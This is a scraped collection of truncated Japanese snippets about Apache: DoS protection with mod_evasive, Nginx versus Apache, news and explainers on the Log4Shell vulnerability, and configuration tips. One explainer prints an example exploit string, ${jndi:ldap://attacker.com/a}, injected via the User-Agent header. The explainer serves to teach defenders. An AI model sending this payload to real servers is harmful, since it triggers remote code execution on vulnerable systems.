サーバー設定より、プログラミングの方がやってて楽しく、ついつい深ぼるのを後回しにしてしまうサーバーのセキュリティー設定ですが、少しずつでもやっていかないと覚えていかないので、こういう時はChatGTPに教えてもらいつつ、理解を深めていきたいと思います！ 今回はDos攻撃対策について、整理していきます。 apacheのmod_evasiveを使用し、秒間あたりのリクエスト閾値を設定すると、IP単位でブロックしてくれるDos攻撃対策についてのChatGPTの回答の詳細は後述しますが、まとめると、「apacheのmod_evasiveを使用すると、1秒間あたりに、何リクエスト許容するかの設定でき、条件に満たしたIPからのリクエストはブロックできる」という仕組みにできるそうです。 ChatGPTの回答としては、apacheのmod_evasive以外の対応策の提案もありましたが、今回はmod_ev

Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article?

Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article? はじめに Webサーバーを使うときに、NginxとApacheって言葉よく耳にしますよね。 ただその違いっていまいち良くわからなくないですか？？（僕だけだったらすみません笑） ちなみに僕は「Nginxの方がなんか人気だし良さそうな気がする。。。」という何の根拠もないイメージしか持っていませんでした。 さすがにもう少しちゃんと理解したいと思い、今回はこの違いを記事にしてみました。 ぜひぜひ最後まで読んでみてください〜！ ※ちなみにNginxとApacheはそれぞれ、「エンジンエックス」「アパッチ」と読みます。 そもそもNginxとApac

これは何 以下記事のアンサーブログです。 qiita.com 以下のことはコメントに書いたんですが、書ききれなかった部分もあったり整理したほうがいいなと思い記事に起こしています。 現代のアプリケーションではC10K問題よりも先にDBやアプリケーションのボトルネックが先に来るため、C10K問題に遭遇するよりも先にやることがある ミドルウェアとしての成り立ちから設定ファイルの書き方に至るまで、それぞれのソフトウェアで思想が根本的に異なるので、単なるパフォーマンス比較をしてもあまり意味がない NginxとApacheの違いをC10K問題を中心に語るのは時代が違う この記事に限らず、多くの「Nginx vs Apache」系記事では「ApacheはC10K問題を抱えている」という論理をベースにそれぞれの違いを表現しています。 が、これは2022年においては(実際にはもっと前からですが)既に事実では

世界的に問題になっている「Apache Log4j」の脆弱性について、警察庁が12月14日、全国の警察施設のセンサーで観測した攻撃数のグラフを公開した。 警察施設のインターネット接続点に設置したセンサーで、脆弱性をついた攻撃のアクセスを観測。1センサー当たりの平均の推移をグラフに示した。1時間ごとに更新している。 Apache Log4jは、Javaで使われるログ出力ライブラリ。多数の企業向けシステムに採用されている。 脆弱性は12月9日（米国時間）に判明。悪意のある文字列を記録させることで、任意のリモートコードを実行できるというもので、ハッキングに悪用されるリスクがある。 警察庁のセンサーでも、日本時間10日から攻撃を観測。1日当たりの攻撃数推移をポート別に示した棒グラフを14日に公開し、警戒を呼び掛けた。 米国土安全保障省（DHS）傘下のサイバーセキュリティ諮問機関・CISAは14日、

Javaのログ出力ライブラリであるLog4jで、任意のコードをリモート実行される深刻な脆弱(ぜいじゃく)性・CVE-2021-44228、通称「Log4Shell」が発見されました。Log4jを提供するApacheソフトウェア財団(ASF)は、さらに新たな脆弱性・CVE-2021-45046が発覚したと報告しており、Log4jをバージョン2.16.0以降にアップデートするように呼びかけています。 CVE - CVE-2021-45046 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046 CVE-2021-45046- Red Hat Customer Portal https://access.redhat.com/security/cve/cve-2021-45046 Log4Shell Update: Secon

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます Java向けのログ出力ライブラリー「Apache Log4j」で見つかったゼロデイ脆弱性「CVE-2021-44228」は、共通脆弱性評価システム（CVSS）で10.0という最大レベルのスコアが付与されており、インターネット上で現在最も大きな注目を集めるものとなっている。 ニュージーランドのコンピューター緊急事態対策チーム（CERT）が現地時間12月10日、リモートコード実行を可能にするこの脆弱性が既に悪用されていると発表して以来、米サイバーセキュリティ・インフラセキュリティ庁（CISA）や英国家サイバーセキュリティセンター（NCSC）を含む、複数の国家サイバーセキュリティ機関も注意を喚起する警告を発出している。インターネットインフラス

JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

Google Cloud recommendations for investigating and responding to the Apache “Log4j 2” vulnerability Editor's note: This post was updated on 1/14/21 at 1:12pm PST. In this post, we provide recommendations from the Google Cybersecurity Action Team and discuss Google Cloud and Chronicle solutions to help security teams to manage the risk of the Apache “Log4j 2” vulnerability (CVE-2021-44228 and CVE-2

世界中で広く使われている、サーバーの操作記録などを残すためのソフトウエアに、深刻なぜい弱性が見つかり、悪用されると情報を引き出されたり、最悪の場合、サーバーの管理者権限を奪われたりするおそれもあるとして、情報セキュリティー機関が、ソフトを使用している事業者などに対して早急に対策をとるよう呼びかけています。 ぜい弱性が見つかったのは、コンピューターのサーバーの操作履歴などの記録を残すために使われている「Apache Log4j2」と呼ばれるソフトウエアです。 情報処理推進機構＝「IPA」によりますと、このソフトウエアは、一般に公開され無償で利用できますが、世界中で広く使われているプログラミング言語「Java」で開発されたシステムなどに組み込まれていて、ぜい弱性が悪用されると、コンピューターウイルスを送り込まれたり、外部に情報を引き出されたりするほか、最悪の場合、サーバーの管理者権限が奪われる

文字列を記録させるだけで任意のリモートコードを実行できるゼロデイ脆弱性があることが明らかになった、Javaのログ出力ライブラリ「Apache Log4j」。12月10日に話題になってから、Javaを使ったシステムに関係するITエンジニアは対応に追われている。一方で、その脆弱性を突く具体的な手段をネット上で共有する行為は「不正指令電磁的記録に関する罪に問われるのではないか」と議論が起きている。 「罪に問われる可能性はある」 問題解決のためとはいえ、攻撃手段となりうる情報の共有は罪に問われるのか。日本ハッカー協会の杉浦隆幸理事に聞いたところ「log4jの脆弱性をつく攻撃を実際に実行して、成功してしまうと不正アクセス禁止法に該当する」と前置きした上で「そのコードを共有する行為は不正指令電磁的記録に関する罪に問われる可能性は十分にある」と指摘する。 不正指令電磁的記録に関する罪とは、コンピュータウ

2021年12月10日、Javaベースのログ出力ライブラリ「Apache Log4j」の2.x系バージョン（以降はLog4j2と記載）で確認された深刻な脆弱性を修正したバージョンが公開されました。セキュリティ関係組織では過去話題になったHeartbleedやShellshockと同レベルの脆弱性とも評価しています。ここでは関連する情報をまとめます。 １．何が起きたの？ Javaベースのログ出力ライブラリLog4j2で深刻な脆弱性（CVE-2021-44228）を修正したバージョンが公開された。その後も修正が不完全であったことなどを理由に2件の脆弱性が修正された。 広く利用されているライブラリであるため影響を受ける対象が多く存在するとみられ、攻撃が容易であることから2014年のHeartbleed、Shellshock以来の危険性があるとみる向きもあり、The Apache Software

Webセキュリティ製品などを手掛ける米LunaSecの報告によると、Minecraftの他、ゲームプラットフォームのSteamやAppleの「iCloud」もこの脆弱性を持つことが分かっており、影響は広範囲に及ぶと考えられるという。 この脆弱性の影響があるのは、Log4jのバージョン2.0から2.14.1までと当初みられていたが、Log4jのGitHub上の議論では、1.x系も同様の脆弱性を抱えていることが報告されている。対策には、修正済みのバージョンである2.15.0-rc2へのアップデートが推奨されている。 セキュリティニュースサイト「Cyber Kendra」によれば、この脆弱性に対して付与されるCVE番号は「CVE-2021-44228」という。 脆弱性の報告を受け、Twitter上ではITエンジニアたちが続々反応。「やばすぎる」「思っていたよりずっとひどいバグだった」「なぜこんな

Q-Successは2021年5月4日（米国時間）、Webサーバ技術の使用サイト数に基づく市場シェア調査結果を発表した。「Nginx」と「Apache」がともに33.8％を占め、わずかな差でNginxが首位、Apacheが2位となった。 2009年にWeb技術調査サービス「W3Techs - World Wide Web Technology Surveys」が開始されて以来、NginxがApacheを抜いて首位となったのは、今回が初めてだ。 2009年のシェアはNginxが3.7％、Apacheが73％超、Microsoftの「インターネットインフォメーションサービス（IIS）」が20％程度だった。Apacheのシェアは、1年前はNginxを6.6ポイント上回っていたものの、一貫して低下傾向が続いている。 調査対象のWebサーバ技術の数は現在、98に達しており、2021年5月4日付の市場

こんにちは(U・ω・U) AWS事業部の深澤です。 さて皆さん、いざプログラミングをしようとしてもなかなかテストがしにくいとか、良い書き方ないかな〜って感じたりしませんか？出来上がったソースコードを数ヶ月後の自分が読んでみて、「あれ？この処理って何してるんだっけ？？」って思うのもよくあることです。また中には実際にスクリプトをbatch処理で使おうとしているけど、どんな風に書いたら良いか悩んでいる方とかいらっしゃるのではないでしょうか。今回は僕が運用の中で学んだ「こう書くと良いんじゃない」というTipsを書いて見ました！今回はshellスクリプトを採用しています。 環境 Amazon Linux 2 AMI (HVM), SSD Volume Type カーネル 4.14.173-137.229.amzn2.x86_64 Bashバージョン GNU bash, version 4.2.46(

Laravel5を使ったWebアプリケーションを開発しています。 開発時はビルトインサーバで開発して、運用時はApacheでということがやりたかったのでまとめです。OSにはUbuntu14.04を使っています。Vagrantも使ってます。 開発時 - ビルトインサーバの起動 開発時はphp artisan serveでビルトインサーバを使ってます。手軽で便利です。 $ php artisan serve IP指定で起動することもできます。 $ php artisan serv --host 192.168.33.10 運用時 - Apacheで動かすには 基本的にはApacheでLaravelアプリケーションのバーチャルホストを定義するだけ。Laravelアプリケーションのpublicフォルダをドキュメントルートに指定します。 バーチャルホストの定義 Apacheにバーチャルホストの定義を

自分用メモ。 別にそこまで難しいわけではなく、一行書き加えるだけ。 satisfy any たとえば、ローカルネットワーク(192.168.0.0/16)からは認証不要で それ以外からのアクセスはBASIC認証を受けさせたい時は、以下のように AuthUserFile /home/someone/.htpasswd AuthGroupFile /dev/null AuthName "Please input your ID and password." AuthType Basic require valid-user deny from all allow from 192.168. satisfy any といった具合で記述すればよい。 逆に両方とも満たさなければ(IP制限をクリアし、かつBASIC認証をかける場合)としたいときは、 anyをallにしてしまえばいい

Apacheのアクセスログに以下の情報を出力する方法と、取得したログから重いリクエストを取り出す例を示す。 処理にかかった時間 ログイン中のユーザID ロードバランサ使用時の、実際のアクセス元のIP 処理にかかった時間 LogFormatに%Dを付けるとリクエストにかかった時間がマイクロ秒単位で記録される。 %Tを付けるとリクエストを扱うのにかかった時間が秒単位で記録される。 ボトルネックの解析や、チューニング後の効果測定に便利だ。 出力可能な項目の一覧 https://httpd.apache.org/docs/2.2/ja/mod/mod_log_config.html ユーザIDなど LogFormatに %{user_id}n login=%{login}n などと記述した上で、アプリケーション側からデータを渡す。 PHPであれば以下のように書けばよい。

開発時のWebサーバはどうしていますか。Mac OSXの場合、標準でApacheが入っていますが、一つしかないのでドキュメントルートを変更したいとなると設定を変えるかポートやドメインを変える必要があって多少面倒です。 Pythonが使えるならSimpleHTTPServerが簡単かなと思うのですが、GUIのがいろいろ手軽です。ということで各プラットフォームで使えるFenix Web Serverを紹介します。 Fenix Web Serverの使い方 こちらがメイン画面です。まだ設定はありません。 新しいサーバを作ります。設定名、ディレクトリパス、ポート番号を指定します。 例えばこんな感じです。 設定を追加しました。 緑になると起動完了です。 こちらはアクセスした結果を画像にしたものです。サムネイル表示に使われます。 面白いのは外部からのアクセスも有効にできることです。 ログも確認できます